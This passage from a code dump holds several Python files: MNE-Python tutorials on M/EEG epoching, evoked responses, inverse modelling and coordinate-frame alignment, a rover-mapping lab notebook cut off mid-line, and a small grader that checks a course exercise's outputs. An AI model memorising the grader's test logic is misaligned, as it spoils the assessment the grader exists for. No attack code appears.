^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The `~mne.io.Raw` object and the events array are the bare minimum needed to\n# create an `~mne.Epochs` object, which we create with the `~mne.Epochs` class\n# constructor. Here we'll also specify some data quality constraints: we'll\n# reject any epoch where peak-to-peak signal amplitude is beyond reasonable\n# limits for that channel type. This is done with a *rejection dictionary*; you\n# may include or omit thresholds for any of the channel types present in your\n# data. The values given here are reasonable for this particular dataset, but\n# may need to be adapted for different hardware or recording conditions. For a\n# more automated approach, consider using the `autoreject package`_.\n\nreject_criteria = dict(mag=4000e-15,     # 4000 fT\n                       grad=4000e-13,    # 4000 fT/cm\n                       eeg=150e-6,       # 150 \u00b5V\n                       eog=250e-6)       # 250 \u00b5V\n\n###############################################################################\n# We'll also pass the event dictionary as the ``event_id`` parameter (so we can\n# work with easy-to-pool event labels instead of the integer event IDs), and\n# specify ``tmin`` and ``tmax`` (the time relative to each event at which to\n# start and end each epoch). As mentioned above, by default `~mne.io.Raw` and\n# `~mne.Epochs` data aren't loaded into memory (they're accessed from disk only\n# when needed), but here we'll force loading into memory using the\n# ``preload=True`` parameter so that we can see the results of the rejection\n# criteria being applied:\n\nepochs = mne.Epochs(raw, events, event_id=event_dict, tmin=-0.2, tmax=0.5,\n                    reject=reject_criteria, preload=True)\n\n###############################################################################\n# Next we'll pool across left/right stimulus presentations so we can compare\n# auditory versus visual responses. To avoid biasing our signals to the left or\n# right, we'll use `~mne.Epochs.equalize_event_counts` first to randomly sample\n# epochs from each condition to match the number of epochs present in the\n# condition with the fewest good epochs.\n\nconds_we_care_about = ['auditory/left', 'auditory/right',\n                       'visual/left', 'visual/right']\nepochs.equalize_event_counts(conds_we_care_about)  # this operates in-place\naud_epochs = epochs['auditory']\nvis_epochs = epochs['visual']\ndel raw, epochs  # free up memory\n\n###############################################################################\n# Like `~mne.io.Raw` objects, `~mne.Epochs` objects also have a number of\n# built-in plotting methods. One is `~mne.Epochs.plot_image`, which shows each\n# epoch as one row of an image map, with color representing signal magnitude;\n# the average evoked response and the sensor location are shown below the\n# image:\n\naud_epochs.plot_image(picks=['MEG 1332', 'EEG 021'])\n\n##############################################################################\n# .. note::\n#\n#     Both `~mne.io.Raw` and `~mne.Epochs` objects have `~mne.Epochs.get_data`\n#     methods that return the underlying data as a\n#     :class:`NumPy array <numpy.ndarray>`. Both methods have a ``picks``\n#     parameter for subselecting which channel(s) to return; ``raw.get_data()``\n#     has additional parameters for restricting the time domain. The resulting\n#     matrices have dimension ``(n_channels, n_times)`` for `~mne.io.Raw` and\n#     ``(n_epochs, n_channels, n_times)`` for `~mne.Epochs`.\n#\n# Time-frequency analysis\n# ^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The :mod:`mne.time_frequency` submodule provides implementations of several\n# algorithms to compute time-frequency representations, power spectral density,\n# and cross-spectral density. Here, for example, we'll compute for the auditory\n# epochs the induced power at different frequencies and times, using Morlet\n# wavelets. On this dataset the result is not especially informative (it just\n# shows the evoked \"auditory N100\" response); see :ref:`here\n# <inter-trial-coherence>` for a more extended example on a dataset with richer\n# frequency content.\n\nfrequencies = np.arange(7, 30, 3)\npower = mne.time_frequency.tfr_morlet(aud_epochs, n_cycles=2, return_itc=False,\n                                      freqs=frequencies, decim=3)\npower.plot(['MEG 1332'])\n\n###############################################################################\n# Estimating evoked responses\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Now that we have our conditions in ``aud_epochs`` and ``vis_epochs``, we can\n# get an estimate of evoked responses to auditory versus visual stimuli by\n# averaging together the epochs in each condition. This is as simple as calling\n# the `~mne.Epochs.average` method on the `~mne.Epochs` object, and then using\n# a function from the :mod:`mne.viz` module to compare the global field power\n# for each sensor type of the two `~mne.Evoked` objects:\n\naud_evoked = aud_epochs.average()\nvis_evoked = vis_epochs.average()\n\nmne.viz.plot_compare_evokeds(dict(auditory=aud_evoked, visual=vis_evoked),\n                             legend='upper left', show_sensors='upper right')\n\n###############################################################################\n# We can also get a more detailed view of each `~mne.Evoked` object using other\n# plotting methods such as `~mne.Evoked.plot_joint` or\n# `~mne.Evoked.plot_topomap`. Here we'll examine just the EEG channels, and see\n# the classic auditory evoked N100-P200 pattern over dorso-frontal electrodes,\n# then plot scalp topographies at some additional arbitrary times:\n\n# sphinx_gallery_thumbnail_number = 13\naud_evoked.plot_joint(picks='eeg')\naud_evoked.plot_topomap(times=[0., 0.08, 0.1, 0.12, 0.2], ch_type='eeg')\n\n##############################################################################\n# Evoked objects can also be combined to show contrasts between conditions,\n# using the `mne.combine_evoked` function. A simple difference can be\n# generated by passing ``weights=[1, -1]``. We'll then plot the difference wave\n# at each sensor using `~mne.Evoked.plot_topo`:\n\nevoked_diff = mne.combine_evoked([aud_evoked, vis_evoked], weights=[1, -1])\nevoked_diff.pick_types(meg='mag').plot_topo(color='r', legend=False)\n\n##############################################################################\n# Inverse modeling\n# ^^^^^^^^^^^^^^^^\n#\n# Finally, we can estimate the origins of the evoked activity by projecting the\n# sensor data into this subject's :term:`source space` (a set of points either\n# on the cortical surface or within the cortical volume of that subject, as\n# estimated by structural MRI scans). MNE-Python supports lots of ways of doing\n# this (dynamic statistical parametric mapping, dipole fitting, beamformers,\n# etc.); here we'll use minimum-norm estimation (MNE) to generate a continuous\n# map of activation constrained to the cortical surface. MNE uses a linear\n# :term:`inverse operator` to project EEG+MEG sensor measurements into the\n# source space. The inverse operator is computed from the\n# :term:`forward solution` for this subject and an estimate of :ref:`the\n# covariance of sensor measurements <tut-compute-covariance>`. For this\n# tutorial we'll skip those computational steps and load a pre-computed inverse\n# operator from disk (it's included with the :ref:`sample data\n# <sample-dataset>`). Because this \"inverse problem\" is underdetermined (there\n# is no unique solution), here we further constrain the solution by providing a\n# regularization parameter specifying the relative smoothness of the current\n# estimates in terms of a signal-to-noise ratio (where \"noise\" here is akin to\n# baseline activity level across all of cortex).\n\n# load inverse operator\ninverse_operator_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                     'sample_audvis-meg-oct-6-meg-inv.fif')\ninv_operator = mne.minimum_norm.read_inverse_operator(inverse_operator_file)\n# set signal-to-noise ratio (SNR) to compute regularization parameter (\u03bb\u00b2)\nsnr = 3.\nlambda2 = 1. / snr ** 2\n# generate the source time course (STC)\nstc = mne.minimum_norm.apply_inverse(vis_evoked, inv_operator,\n                                     lambda2=lambda2,\n                                     method='MNE')  # or dSPM, sLORETA, eLORETA\n\n##############################################################################\n# Finally, in order to plot the source estimate on the subject's cortical\n# surface we'll also need the path to the sample subject's structural MRI files\n# (the ``subjects_dir``):\n\n# path to subjects' MRI files\nsubjects_dir = os.path.join(sample_data_folder, 'subjects')\n# plot the STC\nstc.plot(initial_time=0.1, hemi='split', views=['lat', 'med'],\n         subjects_dir=subjects_dir)\n\n##############################################################################\n# The remaining tutorials have *much more detail* on each of these topics (as\n# well as many other capabilities of MNE-Python not mentioned here:\n# connectivity analysis, encoding/decoding models, lots more visualization\n# options, etc). Read on to learn more!\n#\n# .. LINKS\n#\n# .. _`autoreject package`: http://autoreject.github.io/\n", "meta": {"hexsha": "98ce6298facfd88a57315dd4f67821789f99440e", "size": 19473, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/intro/10_overview.py", "max_stars_repo_name": "ts2-lescot/mne-python", "max_stars_repo_head_hexsha": "e4b16dc57a6a188aa06332b73d911e8131972522", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tutorials/intro/10_overview.py", "max_issues_repo_name": "ts2-lescot/mne-python", "max_issues_repo_head_hexsha": "e4b16dc57a6a188aa06332b73d911e8131972522", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-04-24T05:21:19.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-27T07:47:52.000Z", "max_forks_repo_path": "tutorials/intro/10_overview.py", "max_forks_repo_name": "ts2-lescot/mne-python", "max_forks_repo_head_hexsha": "e4b16dc57a6a188aa06332b73d911e8131972522", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-01-07T23:08:52.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-07T23:08:52.000Z", "avg_line_length": 52.4878706199, "max_line_length": 79, "alphanum_fraction": 0.6428901556, "include": true, "reason": "import numpy", "num_tokens": 4499, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632159254749036, "lm_q2_score": 0.14223189864583882, "lm_q1q2_score": 0.060636529541747246}}
{"text": "import numpy as np\n\ndef test(test_cases, target):\n    success = 0\n    for test_case in test_cases:\n        try:\n            if test_case['name'] == \"datatype_check\":\n                assert isinstance(target(*test_case['input']),\n                                  test_case[\"expected\"])\n                success += 1\n            if test_case['name'] == \"equation_output_check\":\n                assert np.allclose(test_case[\"expected\"],\n                                   target(*test_case['input']))\n                success += 1\n            if test_case['name'] == \"shape_check\":\n                assert test_case['expected'].shape == target(*test_case['input']).shape\n                success += 1\n        except:\n            print(\"Error: \" + test_case['error'])\n            \n    if success == len(test_cases):\n        print(\"\\033[92m All tests passed.\")\n    else:\n        print('\\033[92m', success,\" Tests passed\")\n        print('\\033[91m', len(test_cases) - success, \" Tests failed\")\n        raise AssertionError(\"Not all tests were passed for {}. Check your equations and avoid using global variables inside the function.\".format(target.__name__))", "meta": {"hexsha": "5621f06436f019ddd6e9296f681700de2ac85180", "size": 1148, "ext": "py", "lang": "Python", "max_stars_repo_path": "W2A1/test_utils.py", "max_stars_repo_name": "fabiogaiera/neural-networks-deep-learning", "max_stars_repo_head_hexsha": "56177cda91c5d11ea18847f441b69e1634ddc381", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "W2A1/test_utils.py", "max_issues_repo_name": "fabiogaiera/neural-networks-deep-learning", "max_issues_repo_head_hexsha": "56177cda91c5d11ea18847f441b69e1634ddc381", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "W2A1/test_utils.py", "max_forks_repo_name": "fabiogaiera/neural-networks-deep-learning", "max_forks_repo_head_hexsha": "56177cda91c5d11ea18847f441b69e1634ddc381", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-11-24T08:39:23.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-24T08:39:23.000Z", "avg_line_length": 44.1538461538, "max_line_length": 164, "alphanum_fraction": 0.5444250871, "include": true, "reason": "import numpy", "num_tokens": 235, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632159254749036, "lm_q2_score": 0.1422318986458388, "lm_q1q2_score": 0.06063652954174723}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n.. _plot_source_alignment:\n\nSource alignment and coordinate frames\n======================================\n\nThe aim of this tutorial is to show how to visually assess that the data are\nwell aligned in space for computing the forward solution, and understand\nthe different coordinate frames involved in this process.\n\n.. contents:: Topics\n   :local:\n   :depth: 2\n\nLet's start out by loading some data.\n\"\"\"\nimport os.path as op\n\nimport numpy as np\nfrom mayavi import mlab\n\nimport mne\nfrom mne.datasets import sample\n\nprint(__doc__)\n\ndata_path = sample.data_path()\nsubjects_dir = op.join(data_path, 'subjects')\nraw_fname = op.join(data_path, 'MEG', 'sample', 'sample_audvis_raw.fif')\ntrans_fname = op.join(data_path, 'MEG', 'sample',\n                      'sample_audvis_raw-trans.fif')\nraw = mne.io.read_raw_fif(raw_fname)\ntrans = mne.read_trans(trans_fname)\nsrc = mne.read_source_spaces(op.join(subjects_dir, 'sample', 'bem',\n                                     'sample-oct-6-src.fif'))\n\n###############################################################################\n# Understanding coordinate frames\n# -------------------------------\n# For M/EEG source imaging, there are three **coordinate frames** that we must\n# bring into alignment using two 3D\n# `transformation matrices <trans_matrices_>`_\n# that define how to rotate and translate points in one coordinate frame\n# to their equivalent locations in another.\n#\n# :func:`mne.viz.plot_alignment` is a very useful function for inspecting\n# these transformations, and the resulting alignment of EEG sensors, MEG\n# sensors, brain sources, and conductor models. If the ``subjects_dir`` and\n# ``subject`` parameters are provided, the function automatically looks for the\n# Freesurfer MRI surfaces to show from the subject's folder.\n#\n# We can use the ``show_axes`` argument to see the various coordinate frames\n# given our transformation matrices. These are shown by axis arrows for each\n# coordinate frame:\n#\n# * shortest arrow is (**R**)ight/X\n# * medium is forward/(**A**)nterior/Y\n# * longest is up/(**S**)uperior/Z\n#\n# i.e., a **RAS** coordinate system in each case. We can also set\n# the ``coord_frame`` argument to choose which coordinate\n# frame the camera should initially be aligned with.\n#\n# Let's take a look:\n\nmne.viz.plot_alignment(raw.info, trans=trans, subject='sample',\n                       subjects_dir=subjects_dir, surfaces='head-dense',\n                       show_axes=True, dig=True, eeg=[], meg='sensors',\n                       coord_frame='meg')\nmlab.view(45, 90, distance=0.6, focalpoint=(0., 0., 0.))\nprint('Distance from head origin to MEG origin: %0.1f mm'\n      % (1000 * np.linalg.norm(raw.info['dev_head_t']['trans'][:3, 3])))\nprint('Distance from head origin to MRI origin: %0.1f mm'\n      % (1000 * np.linalg.norm(trans['trans'][:3, 3])))\n\n###############################################################################\n# Coordinate frame definitions\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n# .. raw:: html\n#\n#    <style>\n#    .pink {color:DarkSalmon; font-weight:bold}\n#    .blue {color:DeepSkyBlue; font-weight:bold}\n#    .gray {color:Gray; font-weight:bold}\n#    .magenta {color:Magenta; font-weight:bold}\n#    .purple {color:Indigo; font-weight:bold}\n#    .green {color:LimeGreen; font-weight:bold}\n#    .red {color:Red; font-weight:bold}\n#    </style>\n#\n# .. role:: pink\n# .. role:: blue\n# .. role:: gray\n# .. role:: magenta\n# .. role:: purple\n# .. role:: green\n# .. role:: red\n#\n# 1. Neuromag head coordinate frame (\"head\", :pink:`pink axes`)\n#      Defined by the intersection of 1) the line between the LPA\n#      (:red:`red sphere`) and RPA (:purple:`purple sphere`), and\n#      2) the line perpendicular to this LPA-RPA line one that goes through\n#      the Nasion (:green:`green sphere`).\n#      The axes are oriented as **X** origin\u2192RPA, **Y** origin\u2192Nasion,\n#      **Z** origin\u2192upward (orthogonal to X and Y).\n#\n#      .. note:: This gets defined during the head digitization stage during\n#                acquisition, often by use of a Polhemus or other digitizer.\n#\n# 2. MEG device coordinate frame (\"meg\", :blue:`blue axes`)\n#      This is defined by the MEG manufacturers. From the Elekta user manual:\n#\n#          The origin of the device coordinate system is located at the center\n#          of the posterior spherical section of the helmet with axis going\n#          from left to right and axis pointing front. The axis is, again\n#          normal to the plane with positive direction up.\n#\n#      .. note:: The device is coregistered with the head coordinate frame\n#                during acquisition via emission of sinusoidal currents in\n#                head position indicator (HPI) coils\n#                (:magenta:`magenta spheres`) at the beginning of the\n#                recording. This is stored in ``raw.info['dev_head_t']``.\n#\n# 3. MRI coordinate frame (\"mri\", :gray:`gray axes`)\n#      Defined by Freesurfer, the MRI (surface RAS) origin is at the\n#      center of a 256\u00d7256\u00d7256 1mm anisotropic volume (may not be in the center\n#      of the head).\n#\n#      .. note:: This is aligned to the head coordinate frame that we\n#                typically refer to in MNE as ``trans``.\n#\n# A bad example\n# -------------\n# Let's try using ``trans=None``, which (incorrectly!) equates the MRI\n# and head coordinate frames.\n\nmne.viz.plot_alignment(raw.info, trans=None, subject='sample', src=src,\n                       subjects_dir=subjects_dir, dig=True,\n                       surfaces=['head-dense', 'white'], coord_frame='meg')\n\n###############################################################################\n# It is quite clear that the MRI surfaces (head, brain) are not well aligned\n# to the head digitization points (dots).\n#\n# A good example\n# --------------\n# Here is the same plot, this time with the ``trans`` properly defined\n# (using a precomputed matrix).\n\nmne.viz.plot_alignment(raw.info, trans=trans, subject='sample',\n                       src=src, subjects_dir=subjects_dir, dig=True,\n                       surfaces=['head-dense', 'white'], coord_frame='meg')\n\n###############################################################################\n# Defining the head\u2194MRI ``trans`` using the GUI\n# ---------------------------------------------\n# You can try creating the head\u2194MRI transform yourself using\n# :func:`mne.gui.coregistration`.\n#\n# * First you must load the digitization data from the raw file\n#   (``Head Shape Source``). The MRI data is already loaded if you provide the\n#   ``subject`` and ``subjects_dir``. Toggle ``Always Show Head Points`` to see\n#   the digitization points.\n# * To set the landmarks, toggle ``Edit`` radio button in ``MRI Fiducials``.\n# * Set the landmarks by clicking the radio button (LPA, Nasion, RPA) and then\n#   clicking the corresponding point in the image.\n# * After doing this for all the landmarks, toggle ``Lock`` radio button. You\n#   can omit outlier points, so that they don't interfere with the finetuning.\n#\n#   .. note:: You can save the fiducials to a file and pass\n#             ``mri_fiducials=True`` to plot them in\n#             :func:`mne.viz.plot_alignment`. The fiducials are saved to the\n#             subject's bem folder by default.\n# * Click ``Fit Head Shape``. This will align the digitization points to the\n#   head surface. Sometimes the fitting algorithm doesn't find the correct\n#   alignment immediately. You can try first fitting using LPA/RPA or fiducials\n#   and then align according to the digitization. You can also finetune\n#   manually with the controls on the right side of the panel.\n# * Click ``Save As...`` (lower right corner of the panel), set the filename\n#   and read it with :func:`mne.read_trans`.\n#\n# For more information, see step by step instructions\n# `in these slides\n# <https://www.slideshare.net/mne-python/mnepython-coregistration>`_.\n# Uncomment the following line to align the data yourself.\n\n# mne.gui.coregistration(subject='sample', subjects_dir=subjects_dir)\n\n###############################################################################\n# .. _plot_source_alignment_without_mri:\n#\n# Alignment without MRI\n# ---------------------\n# The surface alignments above are possible if you have the surfaces available\n# from Freesurfer. :func:`mne.viz.plot_alignment` automatically searches for\n# the correct surfaces from the provided ``subjects_dir``. Another option is\n# to use a :ref:`spherical conductor model <ch_forward_spherical_model>`. It is\n# passed through ``bem`` parameter.\n\nsphere = mne.make_sphere_model(info=raw.info, r0='auto', head_radius='auto')\nsrc = mne.setup_volume_source_space(sphere=sphere, pos=10.)\nmne.viz.plot_alignment(\n    raw.info, eeg='projected', bem=sphere, src=src, dig=True,\n    surfaces=['brain', 'outer_skin'], coord_frame='meg', show_axes=True)\n\n###############################################################################\n# It is also possible to use :func:`mne.gui.coregistration`\n# to warp a subject (usually ``fsaverage``) to subject digitization data, see\n# `these slides\n# <https://www.slideshare.net/mne-python/mnepython-scale-mri>`_.\n#\n# .. _trans_matrices: https://en.wikipedia.org/wiki/Transformation_matrix\n", "meta": {"hexsha": "b42dd69d2e0ad221396bf399470639c41462c474", "size": 9196, "ext": "py", "lang": "Python", "max_stars_repo_path": "stable/_downloads/eb0227c3ab1de2b54936408ce99b7c6e/plot_source_alignment.py", "max_stars_repo_name": "drammock/mne-tools.github.io", "max_stars_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-11-05T21:30:15.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-05T21:30:15.000Z", "max_issues_repo_path": "stable/_downloads/eb0227c3ab1de2b54936408ce99b7c6e/plot_source_alignment.py", "max_issues_repo_name": "drammock/mne-tools.github.io", "max_issues_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2016-06-04T15:28:08.000Z", "max_issues_repo_issues_event_max_datetime": "2016-12-22T14:23:13.000Z", "max_forks_repo_path": "stable/_downloads/eb0227c3ab1de2b54936408ce99b7c6e/plot_source_alignment.py", "max_forks_repo_name": "drammock/mne-tools.github.io", "max_forks_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-01-07T03:16:59.000Z", "max_forks_repo_forks_event_max_datetime": "2020-01-07T03:16:59.000Z", "avg_line_length": 42.9719626168, "max_line_length": 79, "alphanum_fraction": 0.6381035233, "include": true, "reason": "import numpy", "num_tokens": 2203, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782351378493656, "lm_q2_score": 0.13846179590164853, "lm_q1q2_score": 0.06062183000663249}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ## Rover Lab Notebook\n# This notebook contains the functions from the lesson and provides the scaffolding you need to test out your mapping methods.  The steps you need to complete in this notebook for the project are the following:\n# \n# * First just run each of the cells in the notebook, examine the code and the results of each.\n# \n# **Note: For the online lab, data has been collected and provided for you. If you would like to try locally please do so! Please continue instructions from the continue point.**\n# * Run the simulator in \"Training Mode\" and record some data. Note: the simulator may crash if you try to record a large (longer than a few minutes) dataset, but you don't need a ton of data, just some example images to work with.   \n# * Change the data directory path (2 cells below) to be the directory where you saved data\n# * Test out the functions provided on your data\n# \n# **Continue Point**\n# * Write new functions (or modify existing ones) to report and map out detections of obstacles and rock samples (yellow rocks)\n# * Populate the `process_image()` function with the appropriate steps/functions to go from a raw image to a worldmap.\n# * Run the cell that calls `process_image()` using `moviepy` functions to create video output\n# * Once you have mapping working, move on to modifying `perception.py` and `decision.py` in the project to allow your rover to navigate and map in autonomous mode!\n# \n# **Note: If, at any point, you encounter frozen display windows or other confounding issues, you can always start again with a clean slate by going to the \"Kernel\" menu above and selecting \"Restart & Clear Output\".**\n# \n# **Run the next cell to get code highlighting in the markdown cells.**\n\n# In[31]:\n\n\nget_ipython().run_cell_magic('HTML', '', '<style> code {background-color : orange !important;} </style>')\n\n\n# In[32]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n#%matplotlib qt # Choose %matplotlib qt to plot to an interactive window (note it may show up behind your browser)\n# Make some of the relevant imports\nimport cv2 # OpenCV for perspective transform\nimport numpy as np\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport scipy.misc # For saving images as needed\nimport glob  # For reading in a list of images from a folder\n\n\n# ## Quick Look at the Data\n# There's some example data provided in the `test_dataset` folder.  This basic dataset is enough to get you up and running but if you want to hone your methods more carefully you should record some data of your own to sample various scenarios in the simulator.  \n# \n# Next, read in and display a random image from the `test_dataset` folder\n\n# In[33]:\n\n\npath = './test_dataset/IMG/*'\nimg_list = glob.glob(path)\n# Grab a random image and display it\nidx = np.random.randint(0, len(img_list)-1)\nimage = mpimg.imread(img_list[idx])\nplt.imshow(image)\n\n\n# ## Calibration Data\n# Read in and display example grid and rock sample calibration images.  You'll use the grid for perspective transform and the rock image for creating a new color selection that identifies these samples of interest. \n\n# In[34]:\n\n\n# In the simulator you can toggle on a grid on the ground for calibration\n# You can also toggle on the rock samples with the 0 (zero) key.  \n# Here's an example of the grid and one of the rocks\nexample_grid = './calibration_images/example_grid1.jpg'\nexample_rock = './calibration_images/example_rock1.jpg'\ngrid_img = mpimg.imread(example_grid)\nrock_img = mpimg.imread(example_rock)\n\nfig = plt.figure(figsize=(12,3))\nplt.subplot(121)\nplt.imshow(grid_img)\nplt.subplot(122)\nplt.imshow(rock_img)\n\n\n# ## Perspective Transform\n# \n# Define the perspective transform function from the lesson and test it on an image.\n\n# In[35]:\n\n\n# Define a function to perform a perspective transform\n# I've used the example grid image above to choose source points for the\n# grid cell in front of the rover (each grid cell is 1 square meter in the sim)\n# Define a function to perform a perspective transform\ndef perspect_transform(img, src, dst):           \n    M = cv2.getPerspectiveTransform(src, dst)\n    warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0]))# keep same size as input image\n    mask = cv2.warpPerspective(np.ones_like(img[:,:,0]), M, (img.shape[1], img.shape[0]))\n    return warped, mask\n\n# Define calibration box in source (actual) and destination (desired) coordinates\n# These source and destination points are defined to warp the image\n# to a grid where each 10x10 pixel square represents 1 square meter\n# The destination box will be 2*dst_size on each side\ndst_size = 5 \n# Set a bottom offset to account for the fact that the bottom of the image \n# is not the position of the rover but a bit in front of it\n# this is just a rough guess, feel free to change it!\nbottom_offset = 6\nsource = np.float32([[14, 140], [301 ,140],[200, 96], [118, 96]])\ndestination = np.float32([[image.shape[1]/2 - dst_size, image.shape[0] - bottom_offset],\n                  [image.shape[1]/2 + dst_size, image.shape[0] - bottom_offset],\n                  [image.shape[1]/2 + dst_size, image.shape[0] - 2*dst_size - bottom_offset], \n                  [image.shape[1]/2 - dst_size, image.shape[0] - 2*dst_size - bottom_offset],\n                  ])\nwarped, mask = perspect_transform(image, source, destination)\nfig = plt.figure(figsize=(12,3))\nplt.subplot(121)\nplt.imshow(warped)\nplt.subplot(122)\nplt.imshow(mask)\n#scipy.misc.imsave('../output/warped_example.jpg', warped)\n\n\n# ## Color Thresholding\n# Define the color thresholding function from the lesson and apply it to the warped image\n# \n# **TODO:** Ultimately, you want your map to not just include navigable terrain but also obstacles and the positions of the rock samples you're searching for.  Modify this function or write a new function that returns the pixel locations of obstacles (areas below the threshold) and rock samples (yellow rocks in calibration images), such that you can map these areas into world coordinates as well.  \n# **Suggestion:** Think about imposing a lower and upper boundary in your color selection to be more specific about choosing colors.  Feel free to get creative and even bring in functions from other libraries.  Here's an example of [color selection](http://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_colorspaces/py_colorspaces.html) using OpenCV.  \n# **Beware:** if you start manipulating images with OpenCV, keep in mind that it defaults to `BGR` instead of `RGB` color space when reading/writing images, so things can get confusing.\n\n# In[36]:\n\n\n# Identify pixels above the threshold\n# Threshold of RGB > 160 does a nice job of identifying ground pixels only\ndef color_thresh(img, rgb_thresh=(160, 160, 160)):\n    # Create an array of zeros same xy size as img, but single channel\n    color_select = np.zeros_like(img[:,:,0])\n    # Require that each pixel be above all three threshold values in RGB\n    # above_thresh will now contain a boolean array with \"True\"\n    # where threshold was met\n    above_thresh = (img[:,:,0] > rgb_thresh[0])                 & (img[:,:,1] > rgb_thresh[1])                 & (img[:,:,2] > rgb_thresh[2])\n    # Index the array of zeros with the boolean array and set to 1\n    color_select[above_thresh] = 1\n   \n    # Return the binary image\n    return color_select\n\ndef yellow_rock_thresh(img):\n    # identify if the image has a rock in it \n    # define a threshold for the rock object\n    color_select_yellow = np.zeros_like(img[:,:,0])\n    yellow_thresh = (img[:,:,0] > 50) & (img[:,:,0] < 258)                  & (img[:,:,1] > 115) & (img[:,:,1] < 256)                  & (img[:,:,2] > -1) &  (img[:,:,2] < 100)\n            \n    color_select_yellow[yellow_thresh] = 1\n    \n    is_yellow_rock = False\n    for nested_list in color_select_yellow:\n        for item in nested_list:\n            if item:\n                is_yellow_rock = True\n                break\n    return color_select_yellow, is_yellow_rock\n    \n\n\n\nthreshed = color_thresh(warped)\nyellow_rock_img, is_yellow_rock = yellow_rock_thresh(warped)\nfig = plt.figure(figsize=(12,3))\nplt.subplot(121)\nplt.imshow(threshed, cmap='gray')\nplt.subplot(122)\nplt.imshow(yellow_rock_img, cmap='gray')\nprint (is_yellow_rock)\n#scipy.misc.imsave('../output/warped_threshed.jpg', threshed*255)\n\n\n# ## Coordinate Transformations\n# Define the functions used to do coordinate transforms and apply them to an image.\n\n# In[37]:\n\n\ndef rover_coords(binary_img):\n    # Identify nonzero pixels\n    ypos, xpos = binary_img.nonzero()\n    # Calculate pixel positions with reference to the rover position being at the \n    # center bottom of the image.  \n    x_pixel = np.absolute(ypos - binary_img.shape[0]).astype(np.float)\n    y_pixel = -(xpos - binary_img.shape[0]).astype(np.float)\n    return x_pixel, y_pixel\n\n# Define a function to convert to radial coords in rover space\ndef to_polar_coords(x_pixel, y_pixel):\n    # Convert (x_pixel, y_pixel) to (distance, angle) \n    # in polar coordinates in rover space\n    # Calculate distance to each pixel\n    dist = np.sqrt(x_pixel**2 + y_pixel**2)\n    # Calculate angle away from vertical for each pixel\n    angles = np.arctan2(y_pixel, x_pixel)\n    return dist, angles\n\n# Define a function to apply a rotation to pixel positions\ndef rotate_pix(xpix, ypix, yaw):\n    # TODO:\n    # Convert yaw to radians\n    yaw_rad = yaw * np.pi / 180\n    \n    # Apply a rotation\n    x_rotated = xpix * np.cos(yaw_rad) - ypix * np.sin(yaw_rad)\n    y_rotated = xpix * np.sin(yaw_rad) + ypix * np.cos(yaw_rad)\n    # Return the result  \n    return x_rotated, y_rotated\n\n\n# Define a function to perform a translation\ndef translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale): \n    # TODO:\n    # Apply a scaling and a translation\n    # Assume a scale factor of 10 between world space pixels and rover space pixels\n    # Perform translation and convert to integer since pixel values can't be float\n    x_world = np.int_(xpos + (xpix_rot / scale))\n    y_world = np.int_(ypos + (ypix_rot / scale))\n    \n    # Return the result  \n    return x_world, y_world\n\n\n# Define a function to apply rotation and translation (and clipping)\n# Once you define the two functions above this function should work\ndef pix_to_world(xpix, ypix, xpos, ypos, yaw, world_size, scale):\n    # Apply rotation\n    xpix_rot, ypix_rot = rotate_pix(xpix, ypix, yaw)\n    # Apply translation\n    xpix_tran, ypix_tran = translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale)\n    # Perform rotation, translation and clipping all at once\n    x_pix_world = np.clip(np.int_(xpix_tran), 0, world_size - 1)\n    y_pix_world = np.clip(np.int_(ypix_tran), 0, world_size - 1)\n    # Return the result\n    return x_pix_world, y_pix_world\n\n# Grab another random image\nidx = np.random.randint(0, len(img_list)-1)\n#image = mpimg.imread(img_list[idx])\nimage = rock_img\nwarped, mask = perspect_transform(image, source, destination)\nthreshed = color_thresh(warped)  # navigable terrain pixels\nobs_map = np.absolute(np.float32(threshed)-1)*mask  #obstacles pixels\n\n# Calculate pixel values in rover-centric coords and distance/angle to all pixels\nxpix, ypix = 